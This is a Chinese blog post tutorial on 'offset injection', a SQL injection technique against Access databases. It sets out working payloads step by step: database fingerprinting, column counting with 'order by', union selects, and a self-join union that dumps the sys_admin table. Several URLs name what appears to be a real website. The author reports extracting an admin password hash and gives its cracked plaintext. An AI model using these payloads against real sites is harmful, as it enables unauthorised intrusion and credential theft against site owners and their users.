Access数据库之偏移注入

偏移注入主要是针对知道表,但是不知道字段的。 

这里我已经知道了表明是:sys_admin 

可以使用:

and exists (select * from sys_admin)

来猜测是否有sys_admin表,如果说存在的话页面就会显示正常。

00×0 判断数据库

and exists (select * from msysobjects)>0   #Access数据库

and exists (select * from sysobjects)>0   #SQL Server数据库

 00x1 判断字段数

http://www.test.com/newslist.asp?id=688 order by 19   #错误

http://www.test.com/newslist.asp?id=688 order by 18   #正确

00x2 爆出显示位

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from sys_admin

00x3 判断表内存在的字段数

接下来我们利用“*”代替admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin  #错误

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin     #错误

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin        #错误

直到.........

http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin   #正确

说明了sys_admin表下有11个字段。 

偏移注入的基本公式为:            

order by 出的字段数减去*号的字段数,然而再用

order by的字段数减去2倍刚才得出来的答案 

    也就是18-11=7       

                      18-7*2=4  

 得到答案等于:4 

 然后依旧是套公式的过程。

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id) 

#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。 #后面的是sql,可作公式。

如此便爆出了账号密码。  但是我测试的这个网站,略微有点特殊。如下图所示

c7d062ba4138db9f顾名思义是md5加密。此md5解密出来得:fdspme 

#注:有点题外话,偏移注入以上已经完成。 

但下面的那个数字就有点让人懊恼了。

我说他是ASCII码,你信吗?

最关键的是我也不敢说他是ASCII码  

66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53  一刚开始一眼看下去是ASCII编码,便兴匆匆的一个个解密了。

解密出来是:BA@?>=<;:98763   心中感慨不已,居然那么难。

然而居然是错的。以为是雷池加密,再用雷池解密一下,也还是错的。但是大家有没有注意到。数字!  好有顺序。

posted @ 2017-11-18 09:26  七月哈比  阅读(185)  评论(0编辑  收藏  举报
站长QQ:1340895414